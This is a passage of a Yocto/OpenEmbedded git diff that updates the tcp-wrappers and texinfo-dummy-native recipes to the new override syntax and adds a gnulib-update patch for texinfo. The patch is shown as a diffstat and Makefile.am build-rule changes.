+FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5"
+FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
+FILES:libwrap-staticdev = "${libdir}/lib*.a"
+FILES:${PN} = "${sbindir}"
+FILES:${PN}-doc = "${mandir}/man8"
SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://00_man_quoting.diff \
@@ -78,9 +78,9 @@ EXTRA_OEMAKE = "'CC=${CC}' \
'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'"
EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN"
-EXTRA_OEMAKE_NETGROUP_libc-musl = "-DUSE_GETDOMAIN"
+EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN"
-EXTRA_OEMAKE_append_libc-musl = " 'LIBS='"
+EXTRA_OEMAKE:append:libc-musl = " 'LIBS='"
do_compile () {
oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \
@@ -133,4 +133,4 @@ do_install () {
touch ${D}${sysconfdir}/hosts.deny
}
-FILES_${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
+FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
index ec04bfe390..a942ac2991 100644
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
+++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
@@ -1,5 +1,6 @@
SUMMARY = "Fake version of the texinfo utility suite"
SECTION = "console/utils"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb"
DEPENDS = ""
diff --git a/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch b/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch
new file mode 100644
index 0000000000..470212cabd
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch
@@ -0,0 +1,11765 @@
+From 4908050c39dbcdcbd59955ea23d692f25f342307 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 7 Jul 2021 13:42:35 -0700
+Subject: [PATCH] gnulib: Update
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gnulib/lib/Makefile.am | 782 +++++++++++--------
+ gnulib/lib/_Noreturn.h | 8 +-
+ gnulib/lib/alloca.in.h | 20 +-
+ gnulib/lib/arg-nonnull.h | 8 +-
+ gnulib/lib/argz.c | 16 +-
+ gnulib/lib/argz.in.h | 14 +-
+ gnulib/lib/asnprintf.c | 16 +-
+ gnulib/lib/asprintf.c | 16 +-
+ gnulib/lib/attribute.h | 16 +-
+ gnulib/lib/basename-lgpl.c | 14 +-
+ gnulib/lib/basename-lgpl.h | 26 +-
+ gnulib/lib/btowc.c | 14 +-
+ gnulib/lib/c++defs.h | 8 +-
+ gnulib/lib/calloc.c | 55 ++
+ gnulib/lib/cdefs.h | 26 +-
+ gnulib/lib/cloexec.c | 18 +-
+ gnulib/lib/cloexec.h | 18 +-
+ gnulib/lib/close.c | 14 +-
+ gnulib/lib/dup2.c | 14 +-
+ gnulib/lib/dynarray.h | 24 +-
+ gnulib/lib/errno.in.h | 16 +-
+ gnulib/lib/error.c | 14 +-
+ gnulib/lib/error.h | 14 +-
+ gnulib/lib/exitfail.c | 14 +-
+ gnulib/lib/exitfail.h | 14 +-
+ gnulib/lib/fcntl.c | 14 +-
+ gnulib/lib/fcntl.in.h | 14 +-
+ gnulib/lib/fd-hook.c | 16 +-
+ gnulib/lib/fd-hook.h | 16 +-
+ gnulib/lib/filename.h | 8 +-
+ gnulib/lib/float+.h | 16 +-
+ gnulib/lib/float.c | 14 +-
+ gnulib/lib/float.in.h | 14 +-
+ gnulib/lib/free.c | 53 ++
+ gnulib/lib/fstat.c | 14 +-
+ gnulib/lib/getdtablesize.c | 14 +-
+ gnulib/lib/getopt-cdefs.in.h | 21 +-
+ gnulib/lib/getopt-core.h | 8 +-
+ gnulib/lib/getopt-ext.h | 8 +-
+ gnulib/lib/getopt-pfx-core.h | 21 +-
+ gnulib/lib/getopt-pfx-ext.h | 21 +-
+ gnulib/lib/getopt.c | 8 +-
+ gnulib/lib/getopt.in.h | 24 +-
+ gnulib/lib/getopt1.c | 8 +-
+ gnulib/lib/getopt_int.h | 8 +-
+ gnulib/lib/getprogname.c | 18 +-
+ gnulib/lib/getprogname.h | 8 +-
+ gnulib/lib/gettext.h | 16 +-
+ gnulib/lib/glthread/lock.c | 16 +-
+ gnulib/lib/glthread/lock.h | 16 +-
+ gnulib/lib/glthread/threadlib.c | 16 +-
+ gnulib/lib/hard-locale.c | 14 +-
+ gnulib/lib/hard-locale.h | 14 +-
+ gnulib/lib/ialloc.c | 21 +
+ gnulib/lib/ialloc.h | 94 +++
+ gnulib/lib/idx.h | 114 +++
+ gnulib/lib/intprops.h | 26 +-
+ gnulib/lib/inttypes.in.h | 14 +-
+ gnulib/lib/iswblank.c | 16 +-
+ gnulib/lib/iswdigit.c | 16 +-
+ gnulib/lib/iswxdigit.c | 16 +-
+ gnulib/lib/itold.c | 14 +-
+ gnulib/lib/langinfo.in.h | 16 +-
+ gnulib/lib/lc-charset-dispatch.c | 14 +-
+ gnulib/lib/lc-charset-dispatch.h | 14 +-
+ gnulib/lib/libc-config.h | 25 +-
+ gnulib/lib/limits.in.h | 16 +-
+ gnulib/lib/localcharset.c | 16 +-
+ gnulib/lib/localcharset.h | 16 +-
+ gnulib/lib/locale.in.h | 14 +-
+ gnulib/lib/localeconv.c | 14 +-
+ gnulib/lib/malloc.c | 51 +-
+ gnulib/lib/malloc/dynarray-skeleton.c | 8 +-
+ gnulib/lib/malloc/dynarray.h | 8 +-
+ gnulib/lib/malloc/dynarray_at_failure.c | 8 +-
+ gnulib/lib/malloc/dynarray_emplace_enlarge.c | 8 +-
+ gnulib/lib/malloc/dynarray_finalize.c | 8 +-
+ gnulib/lib/malloc/dynarray_resize.c | 8 +-
+ gnulib/lib/malloc/dynarray_resize_clear.c | 8 +-
+ gnulib/lib/malloca.c | 24 +-
+ gnulib/lib/malloca.h | 21 +-
+ gnulib/lib/mbchar.c | 14 +-
+ gnulib/lib/mbchar.h | 14 +-
+ gnulib/lib/mbiter.c | 18 +
+ gnulib/lib/mbiter.h | 14 +-
+ gnulib/lib/mbrtowc-impl-utf8.h | 16 +-
+ gnulib/lib/mbrtowc-impl.h | 14 +-
+ gnulib/lib/mbrtowc.c | 14 +-
+ gnulib/lib/mbscasecmp.c | 14 +-
+ gnulib/lib/mbschr.c | 14 +-
+ gnulib/lib/mbsinit.c | 14 +-
+ gnulib/lib/mbslen.c | 14 +-
+ gnulib/lib/mbsncasecmp.c | 14 +-
+ gnulib/lib/mbsstr.c | 14 +-
+ gnulib/lib/mbtowc-impl.h | 14 +-
+ gnulib/lib/mbtowc-lock.c | 14 +-
+ gnulib/lib/mbtowc-lock.h | 14 +-
+ gnulib/lib/mbtowc.c | 14 +-
+ gnulib/lib/mbuiter.c | 17 +
+ gnulib/lib/mbuiter.h | 14 +-
+ gnulib/lib/memchr.c | 24 +-
+ gnulib/lib/memchr.valgrind | 14 +-
+ gnulib/lib/mempcpy.c | 16 +-
+ gnulib/lib/memrchr.c | 14 +-
+ gnulib/lib/minmax.h | 60 ++
+ gnulib/lib/msvc-inval.c | 16 +-
+ gnulib/lib/msvc-inval.h | 16 +-
+ gnulib/lib/msvc-nothrow.c | 16 +-
+ gnulib/lib/msvc-nothrow.h | 16 +-
+ gnulib/lib/nl_langinfo-lock.c | 14 +-
+ gnulib/lib/nl_langinfo.c | 14 +-
+ gnulib/lib/open.c | 14 +-
+ gnulib/lib/pathmax.h | 16 +-
+ gnulib/lib/printf-args.c | 16 +-
+ gnulib/lib/printf-args.h | 16 +-
+ gnulib/lib/printf-parse.c | 27 +-
+ gnulib/lib/printf-parse.h | 16 +-
+ gnulib/lib/realloc.c | 63 ++
+ gnulib/lib/reallocarray.c | 39 +
+ gnulib/lib/regcomp.c | 8 +-
+ gnulib/lib/regex.c | 8 +-
+ gnulib/lib/regex.h | 8 +-
+ gnulib/lib/regex_internal.c | 8 +-
+ gnulib/lib/regex_internal.h | 8 +-
+ gnulib/lib/regexec.c | 20 +-
+ gnulib/lib/setlocale-lock.c | 14 +-
+ gnulib/lib/setlocale_null.c | 14 +-
+ gnulib/lib/setlocale_null.h | 14 +-
+ gnulib/lib/size_max.h | 16 +-
+ gnulib/lib/stat-time.c | 18 +
+ gnulib/lib/stat-time.h | 14 +-
+ gnulib/lib/stat-w32.c | 14 +-
+ gnulib/lib/stat-w32.h | 14 +-
+ gnulib/lib/stat.c | 14 +-
+ gnulib/lib/stdarg.in.h | 16 +-
+ gnulib/lib/stdbool.in.h | 16 +-
+ gnulib/lib/stddef.in.h | 16 +-
+ gnulib/lib/stdint.in.h | 20 +-
+ gnulib/lib/stdio.in.h | 24 +-
+ gnulib/lib/stdlib.in.h | 146 +++-
+ gnulib/lib/stpcpy.c | 14 +-
+ gnulib/lib/str-kmp.h | 26 +-
+ gnulib/lib/str-two-way.h | 16 +-
+ gnulib/lib/strcasecmp.c | 16 +-
+ gnulib/lib/strcasestr.c | 16 +-
+ gnulib/lib/strdup.c | 16 +-
+ gnulib/lib/streq.h | 16 +-
+ gnulib/lib/strerror-override.c | 100 +--
+ gnulib/lib/strerror-override.h | 15 +-
+ gnulib/lib/strerror.c | 14 +-
+ gnulib/lib/string.in.h | 18 +-
+ gnulib/lib/strings.in.h | 16 +-
+ gnulib/lib/strncasecmp.c | 16 +-
+ gnulib/lib/strndup.c | 16 +-
+ gnulib/lib/strnlen.c | 16 +-
+ gnulib/lib/strnlen1.c | 14 +-
+ gnulib/lib/strnlen1.h | 14 +-
+ gnulib/lib/strstr.c | 16 +-
+ gnulib/lib/sys_stat.in.h | 16 +-
+ gnulib/lib/sys_types.in.h | 16 +-
+ gnulib/lib/time.in.h | 58 +-
+ gnulib/lib/unistd.c | 18 +
+ gnulib/lib/unistd.in.h | 29 +-
+ gnulib/lib/unitypes.in.h | 16 +-
+ gnulib/lib/uniwidth.in.h | 16 +-
+ gnulib/lib/uniwidth/cjk.h | 16 +-
+ gnulib/lib/uniwidth/width.c | 16 +-
+ gnulib/lib/vasnprintf.c | 71 +-
+ gnulib/lib/vasnprintf.h | 16 +-
+ gnulib/lib/vasprintf.c | 16 +-
+ gnulib/lib/verify.h | 14 +-
+ gnulib/lib/warn-on-use.h | 8 +-
+ gnulib/lib/wchar.in.h | 18 +-
+ gnulib/lib/wcrtomb.c | 14 +-
+ gnulib/lib/wctype-h.c | 19 +
+ gnulib/lib/wctype.in.h | 26 +-
+ gnulib/lib/wcwidth.c | 14 +-
+ gnulib/lib/windows-initguard.h | 16 +-
+ gnulib/lib/windows-mutex.c | 16 +-
+ gnulib/lib/windows-mutex.h | 16 +-
+ gnulib/lib/windows-once.c | 16 +-
+ gnulib/lib/windows-once.h | 16 +-
+ gnulib/lib/windows-recmutex.c | 16 +-
+ gnulib/lib/windows-recmutex.h | 16 +-
+ gnulib/lib/windows-rwlock.c | 16 +-
+ gnulib/lib/windows-rwlock.h | 16 +-
+ gnulib/lib/xalloc-oversized.h | 53 +-
+ gnulib/lib/xalloc.h | 143 +---
+ gnulib/lib/xmalloc.c | 293 +++++--
+ gnulib/lib/xsize.c | 18 +
+ gnulib/lib/xsize.h | 16 +-
+ gnulib/m4/calloc.m4 | 82 ++
+ gnulib/m4/fcntl_h.m4 | 39 +-
+ gnulib/m4/free.m4 | 52 ++
+ gnulib/m4/fstat.m4 | 4 +-
+ gnulib/m4/gnulib-common.m4 | 84 +-
+ gnulib/m4/gnulib-comp.m4 | 192 ++++-
+ gnulib/m4/inttypes.m4 | 31 +-
+ gnulib/m4/iswdigit.m4 | 6 +-
+ gnulib/m4/iswxdigit.m4 | 4 +-
+ gnulib/m4/langinfo_h.m4 | 25 +-
+ gnulib/m4/largefile.m4 | 28 +-
+ gnulib/m4/locale_h.m4 | 37 +-
+ gnulib/m4/malloc.m4 | 152 +++-
+ gnulib/m4/math_h.m4 | 227 +++---
+ gnulib/m4/mbslen.m4 | 4 +-
+ gnulib/m4/memchr.m4 | 4 +-
+ gnulib/m4/mempcpy.m4 | 4 +-
+ gnulib/m4/memrchr.m4 | 4 +-
+ gnulib/m4/minmax.m4 | 44 ++
+ gnulib/m4/printf.m4 | 5 +-
+ gnulib/m4/realloc.m4 | 63 ++
+ gnulib/m4/reallocarray.m4 | 23 +
+ gnulib/m4/stat.m4 | 4 +-
+ gnulib/m4/stddef_h.m4 | 23 +-
+ gnulib/m4/stdint.m4 | 6 +-
+ gnulib/m4/stdio_h.m4 | 168 ++--
+ gnulib/m4/stdlib_h.m4 | 122 +--
+ gnulib/m4/stpcpy.m4 | 4 +-
+ gnulib/m4/strcase.m4 | 6 +-
+ gnulib/m4/strcasestr.m4 | 4 +-
+ gnulib/m4/strdup.m4 | 6 +-
+ gnulib/m4/strerror.m4 | 4 +-
+ gnulib/m4/string_h.m4 | 124 +--
+ gnulib/m4/strings_h.m4 | 38 +-
+ gnulib/m4/strndup.m4 | 4 +-
+ gnulib/m4/strnlen.m4 | 4 +-
+ gnulib/m4/strstr.m4 | 4 +-
+ gnulib/m4/sys_socket_h.m4 | 53 +-
+ gnulib/m4/sys_stat_h.m4 | 65 +-
+ gnulib/m4/sys_types_h.m4 | 16 +-
+ gnulib/m4/time_h.m4 | 62 +-
+ gnulib/m4/unistd_h.m4 | 194 ++---
+ gnulib/m4/visibility.m4 | 6 +-
+ gnulib/m4/wchar_h.m4 | 109 +--
+ gnulib/m4/wctype_h.m4 | 39 +-
+ gnulib/m4/wint_t.m4 | 10 +-
+ gnulib/m4/year2038.m4 | 112 +++
+ 238 files changed, 4521 insertions(+), 2636 deletions(-)
+ create mode 100644 gnulib/lib/calloc.c
+ create mode 100644 gnulib/lib/free.c
+ create mode 100644 gnulib/lib/ialloc.c
+ create mode 100644 gnulib/lib/ialloc.h
+ create mode 100644 gnulib/lib/idx.h
+ create mode 100644 gnulib/lib/minmax.h
+ create mode 100644 gnulib/lib/realloc.c
+ create mode 100644 gnulib/lib/reallocarray.c
+ create mode 100644 gnulib/m4/calloc.m4
+ create mode 100644 gnulib/m4/free.m4
+ create mode 100644 gnulib/m4/minmax.m4
+ create mode 100644 gnulib/m4/realloc.m4
+ create mode 100644 gnulib/m4/reallocarray.m4
+ create mode 100644 gnulib/m4/year2038.m4
+
+--- a/gnulib/lib/Makefile.am
++++ b/gnulib/lib/Makefile.am
+@@ -165,6 +165,24 @@ EXTRA_libgnu_a_SOURCES += btowc.c
+
+ ## end gnulib module btowc
+
++## begin gnulib module calloc-gnu
++
++
++EXTRA_DIST += calloc.c
++
++EXTRA_libgnu_a_SOURCES += calloc.c
++
++## end gnulib module calloc-gnu
++
++## begin gnulib module calloc-posix
++
++
++EXTRA_DIST += calloc.c
++
++EXTRA_libgnu_a_SOURCES += calloc.c
++
++## end gnulib module calloc-posix
++
+ ## begin gnulib module cloexec
+
+ if gl_GNULIB_ENABLED_cloexec
+@@ -200,6 +218,32 @@ EXTRA_libgnu_a_SOURCES += dup2.c
+ ## begin gnulib module dynarray
+
+ if gl_GNULIB_ENABLED_dynarray
++BUILT_SOURCES += malloc/dynarray.gl.h malloc/dynarray-skeleton.gl.h
++
++malloc/dynarray.gl.h: malloc/dynarray.h
++ $(AM_V_at)$(MKDIR_P) malloc
++ $(AM_V_GEN)rm -f $@-t $@ && \
++ { echo '/* DO NOT EDIT! GENERATED AUTOMATICALLY! */'; \
++ sed -e '/libc_hidden_proto/d' < $(srcdir)/malloc/dynarray.h; \
++ } > $@-t && \
++ mv $@-t $@
++MOSTLYCLEANFILES += malloc/dynarray.gl.h malloc/dynarray.gl.h-t
++
++malloc/dynarray-skeleton.gl.h: malloc/dynarray-skeleton.c
++ $(AM_V_at)$(MKDIR_P) malloc
++ $(AM_V_GEN)rm -f $@-t $@ && \
++ { echo '/* DO NOT EDIT! GENERATED AUTOMATICALLY! */'; \
++ sed -e 's|<malloc/dynarray\.h>|<malloc/dynarray.gl.h>|g' \
++ -e 's|__attribute_maybe_unused__|_GL_ATTRIBUTE_MAYBE_UNUSED|g' \
++ -e 's|__attribute_nonnull__|_GL_ATTRIBUTE_NONNULL|g' \
++ -e 's|__attribute_warn_unused_result__|_GL_ATTRIBUTE_NODISCARD|g' \
++ -e 's|__glibc_likely|_GL_LIKELY|g' \
++ -e 's|__glibc_unlikely|_GL_UNLIKELY|g' \
++ < $(srcdir)/malloc/dynarray-skeleton.c; \
++ } > $@-t && \
++ mv $@-t $@
++MOSTLYCLEANFILES += malloc/dynarray-skeleton.gl.h malloc/dynarray-skeleton.gl.h-t
++
+ libgnu_a_SOURCES += malloc/dynarray_at_failure.c malloc/dynarray_emplace_enlarge.c malloc/dynarray_finalize.c malloc/dynarray_resize.c malloc/dynarray_resize_clear.c
+
+ endif
+@@ -285,13 +329,13 @@ fcntl.h: fcntl.in.h $(top_builddir)/conf
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_FCNTL_H''@|$(NEXT_FCNTL_H)|g' \
+- -e 's/@''GNULIB_CREAT''@/$(GNULIB_CREAT)/g' \
+- -e 's/@''GNULIB_FCNTL''@/$(GNULIB_FCNTL)/g' \
+- -e 's/@''GNULIB_NONBLOCKING''@/$(GNULIB_NONBLOCKING)/g' \
+- -e 's/@''GNULIB_OPEN''@/$(GNULIB_OPEN)/g' \
+- -e 's/@''GNULIB_OPENAT''@/$(GNULIB_OPENAT)/g' \
+- -e 's/@''GNULIB_MDA_CREAT''@/$(GNULIB_MDA_CREAT)/g' \
+- -e 's/@''GNULIB_MDA_OPEN''@/$(GNULIB_MDA_OPEN)/g' \
++ -e 's/@''GNULIB_CREAT''@/$(GL_GNULIB_CREAT)/g' \
++ -e 's/@''GNULIB_FCNTL''@/$(GL_GNULIB_FCNTL)/g' \
++ -e 's/@''GNULIB_NONBLOCKING''@/$(GL_GNULIB_NONBLOCKING)/g' \
++ -e 's/@''GNULIB_OPEN''@/$(GL_GNULIB_OPEN)/g' \
++ -e 's/@''GNULIB_OPENAT''@/$(GL_GNULIB_OPENAT)/g' \
++ -e 's/@''GNULIB_MDA_CREAT''@/$(GL_GNULIB_MDA_CREAT)/g' \
++ -e 's/@''GNULIB_MDA_OPEN''@/$(GL_GNULIB_MDA_OPEN)/g' \
+ -e 's|@''HAVE_FCNTL''@|$(HAVE_FCNTL)|g' \
+ -e 's|@''HAVE_OPENAT''@|$(HAVE_OPENAT)|g' \
+ -e 's|@''REPLACE_CREAT''@|$(REPLACE_CREAT)|g' \
+@@ -358,6 +402,17 @@ EXTRA_libgnu_a_SOURCES += float.c itold.
+
+ ## end gnulib module float
+
++## begin gnulib module free-posix
++
++if gl_GNULIB_ENABLED_ef07dc4b3077c11ea9cef586db4e5955
++
++endif
++EXTRA_DIST += free.c
++
++EXTRA_libgnu_a_SOURCES += free.c
++
++## end gnulib module free-posix
++
+ ## begin gnulib module fstat
+
+ if gl_GNULIB_ENABLED_fstat
+@@ -445,11 +500,23 @@ EXTRA_DIST += $(top_srcdir)/build-aux/co
+
+ ## end gnulib module havelib
+
++## begin gnulib module ialloc
++
++libgnu_a_SOURCES += ialloc.c
++
++EXTRA_DIST += ialloc.h
++
++## end gnulib module ialloc
++
++## begin gnulib module idx
++
++libgnu_a_SOURCES += idx.h
++
++## end gnulib module idx
++
+ ## begin gnulib module intprops
+
+-if gl_GNULIB_ENABLED_intprops
+
+-endif
+ EXTRA_DIST += intprops.h
+
+ ## end gnulib module intprops
+@@ -470,10 +537,10 @@ inttypes.h: inttypes.in.h $(top_builddir
+ -e 's|@''NEXT_INTTYPES_H''@|$(NEXT_INTTYPES_H)|g' \
+ -e 's/@''APPLE_UNIVERSAL_BUILD''@/$(APPLE_UNIVERSAL_BUILD)/g' \
+ -e 's/@''PRIPTR_PREFIX''@/$(PRIPTR_PREFIX)/g' \
+- -e 's/@''GNULIB_IMAXABS''@/$(GNULIB_IMAXABS)/g' \
+- -e 's/@''GNULIB_IMAXDIV''@/$(GNULIB_IMAXDIV)/g' \
+- -e 's/@''GNULIB_STRTOIMAX''@/$(GNULIB_STRTOIMAX)/g' \
+- -e 's/@''GNULIB_STRTOUMAX''@/$(GNULIB_STRTOUMAX)/g' \
++ -e 's/@''GNULIB_IMAXABS''@/$(GL_GNULIB_IMAXABS)/g' \
++ -e 's/@''GNULIB_IMAXDIV''@/$(GL_GNULIB_IMAXDIV)/g' \
++ -e 's/@''GNULIB_STRTOIMAX''@/$(GL_GNULIB_STRTOIMAX)/g' \
++ -e 's/@''GNULIB_STRTOUMAX''@/$(GL_GNULIB_STRTOUMAX)/g' \
+ -e 's/@''HAVE_DECL_IMAXABS''@/$(HAVE_DECL_IMAXABS)/g' \
+ -e 's/@''HAVE_DECL_IMAXDIV''@/$(HAVE_DECL_IMAXDIV)/g' \
+ -e 's/@''HAVE_DECL_STRTOIMAX''@/$(HAVE_DECL_STRTOIMAX)/g' \
+@@ -540,7 +607,7 @@ langinfo.h: langinfo.in.h $(top_builddir
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_LANGINFO_H''@|$(NEXT_LANGINFO_H)|g' \
+- -e 's/@''GNULIB_NL_LANGINFO''@/$(GNULIB_NL_LANGINFO)/g' \
++ -e 's/@''GNULIB_NL_LANGINFO''@/$(GL_GNULIB_NL_LANGINFO)/g' \
+ -e 's|@''HAVE_LANGINFO_CODESET''@|$(HAVE_LANGINFO_CODESET)|g' \
+ -e 's|@''HAVE_LANGINFO_T_FMT_AMPM''@|$(HAVE_LANGINFO_T_FMT_AMPM)|g' \
+ -e 's|@''HAVE_LANGINFO_ALTMON''@|$(HAVE_LANGINFO_ALTMON)|g' \
+@@ -622,11 +689,11 @@ locale.h: locale.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_LOCALE_H''@|$(NEXT_LOCALE_H)|g' \
+- -e 's/@''GNULIB_LOCALECONV''@/$(GNULIB_LOCALECONV)/g' \
+- -e 's/@''GNULIB_SETLOCALE''@/$(GNULIB_SETLOCALE)/g' \
+- -e 's/@''GNULIB_SETLOCALE_NULL''@/$(GNULIB_SETLOCALE_NULL)/g' \
+- -e 's/@''GNULIB_DUPLOCALE''@/$(GNULIB_DUPLOCALE)/g' \
+- -e 's/@''GNULIB_LOCALENAME''@/$(GNULIB_LOCALENAME)/g' \
++ -e 's/@''GNULIB_LOCALECONV''@/$(GL_GNULIB_LOCALECONV)/g' \
++ -e 's/@''GNULIB_SETLOCALE''@/$(GL_GNULIB_SETLOCALE)/g' \
++ -e 's/@''GNULIB_SETLOCALE_NULL''@/$(GL_GNULIB_SETLOCALE_NULL)/g' \
++ -e 's/@''GNULIB_DUPLOCALE''@/$(GL_GNULIB_DUPLOCALE)/g' \
++ -e 's/@''GNULIB_LOCALENAME''@/$(GL_GNULIB_LOCALENAME)/g' \
+ -e 's|@''HAVE_NEWLOCALE''@|$(HAVE_NEWLOCALE)|g' \
+ -e 's|@''HAVE_DUPLOCALE''@|$(HAVE_DUPLOCALE)|g' \
+ -e 's|@''HAVE_FREELOCALE''@|$(HAVE_FREELOCALE)|g' \
+@@ -670,11 +737,18 @@ libgnu_a_SOURCES += glthread/lock.h glth
+ endif
+ ## end gnulib module lock
+
++## begin gnulib module malloc-gnu
++
++
++EXTRA_DIST += malloc.c
++
++EXTRA_libgnu_a_SOURCES += malloc.c
++
++## end gnulib module malloc-gnu
++
+ ## begin gnulib module malloc-posix
+
+-if gl_GNULIB_ENABLED_ef455225c00f5049c808c2eda3e76866
+
+-endif
+ EXTRA_DIST += malloc.c
+
+ EXTRA_libgnu_a_SOURCES += malloc.c
+@@ -805,6 +879,12 @@ EXTRA_libgnu_a_SOURCES += memrchr.c
+
+ ## end gnulib module memrchr
+
++## begin gnulib module minmax
++
++libgnu_a_SOURCES += minmax.h
++
++## end gnulib module minmax
++
+ ## begin gnulib module msvc-inval
+
+ if gl_GNULIB_ENABLED_f691f076f650964c9f5598c3ee487616
+@@ -856,6 +936,33 @@ EXTRA_DIST += pathmax.h
+
+ ## end gnulib module pathmax
+
++## begin gnulib module realloc-gnu
++
++
++EXTRA_DIST += realloc.c
++
++EXTRA_libgnu_a_SOURCES += realloc.c
++
++## end gnulib module realloc-gnu
++
++## begin gnulib module realloc-posix
++
++
++EXTRA_DIST += realloc.c
++
++EXTRA_libgnu_a_SOURCES += realloc.c
++
++## end gnulib module realloc-posix
++
++## begin gnulib module reallocarray
++
++
++EXTRA_DIST += reallocarray.c
++
++EXTRA_libgnu_a_SOURCES += reallocarray.c
++
++## end gnulib module reallocarray
++
+ ## begin gnulib module regex
+
+
+@@ -1072,7 +1179,7 @@ stdint.h: stdint.in.h $(top_builddir)/co
+ -e 's/@''BITSIZEOF_WINT_T''@/$(BITSIZEOF_WINT_T)/g' \
+ -e 's/@''HAVE_SIGNED_WINT_T''@/$(HAVE_SIGNED_WINT_T)/g' \
+ -e 's/@''WINT_T_SUFFIX''@/$(WINT_T_SUFFIX)/g' \
+- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \
++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \
+ < $(srcdir)/stdint.in.h; \
+ } > $@-t && \
+ mv $@-t $@
+@@ -1100,65 +1207,65 @@ stdio.h: stdio.in.h $(top_builddir)/conf
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STDIO_H''@|$(NEXT_STDIO_H)|g' \
+- -e 's/@''GNULIB_DPRINTF''@/$(GNULIB_DPRINTF)/g' \
+- -e 's/@''GNULIB_FCLOSE''@/$(GNULIB_FCLOSE)/g' \
+- -e 's/@''GNULIB_FDOPEN''@/$(GNULIB_FDOPEN)/g' \
+- -e 's/@''GNULIB_FFLUSH''@/$(GNULIB_FFLUSH)/g' \
+- -e 's/@''GNULIB_FGETC''@/$(GNULIB_FGETC)/g' \
+- -e 's/@''GNULIB_FGETS''@/$(GNULIB_FGETS)/g' \
+- -e 's/@''GNULIB_FOPEN''@/$(GNULIB_FOPEN)/g' \
+- -e 's/@''GNULIB_FPRINTF''@/$(GNULIB_FPRINTF)/g' \
+- -e 's/@''GNULIB_FPRINTF_POSIX''@/$(GNULIB_FPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_FPURGE''@/$(GNULIB_FPURGE)/g' \
+- -e 's/@''GNULIB_FPUTC''@/$(GNULIB_FPUTC)/g' \
+- -e 's/@''GNULIB_FPUTS''@/$(GNULIB_FPUTS)/g' \
+- -e 's/@''GNULIB_FREAD''@/$(GNULIB_FREAD)/g' \
+- -e 's/@''GNULIB_FREOPEN''@/$(GNULIB_FREOPEN)/g' \
+- -e 's/@''GNULIB_FSCANF''@/$(GNULIB_FSCANF)/g' \
+- -e 's/@''GNULIB_FSEEK''@/$(GNULIB_FSEEK)/g' \
+- -e 's/@''GNULIB_FSEEKO''@/$(GNULIB_FSEEKO)/g' \
+- -e 's/@''GNULIB_FTELL''@/$(GNULIB_FTELL)/g' \
+- -e 's/@''GNULIB_FTELLO''@/$(GNULIB_FTELLO)/g' \
+- -e 's/@''GNULIB_FWRITE''@/$(GNULIB_FWRITE)/g' \
+- -e 's/@''GNULIB_GETC''@/$(GNULIB_GETC)/g' \
+- -e 's/@''GNULIB_GETCHAR''@/$(GNULIB_GETCHAR)/g' \
+- -e 's/@''GNULIB_GETDELIM''@/$(GNULIB_GETDELIM)/g' \
+- -e 's/@''GNULIB_GETLINE''@/$(GNULIB_GETLINE)/g' \
+- -e 's/@''GNULIB_OBSTACK_PRINTF''@/$(GNULIB_OBSTACK_PRINTF)/g' \
+- -e 's/@''GNULIB_OBSTACK_PRINTF_POSIX''@/$(GNULIB_OBSTACK_PRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_PCLOSE''@/$(GNULIB_PCLOSE)/g' \
+- -e 's/@''GNULIB_PERROR''@/$(GNULIB_PERROR)/g' \
+- -e 's/@''GNULIB_POPEN''@/$(GNULIB_POPEN)/g' \
+- -e 's/@''GNULIB_PRINTF''@/$(GNULIB_PRINTF)/g' \
+- -e 's/@''GNULIB_PRINTF_POSIX''@/$(GNULIB_PRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_PUTC''@/$(GNULIB_PUTC)/g' \
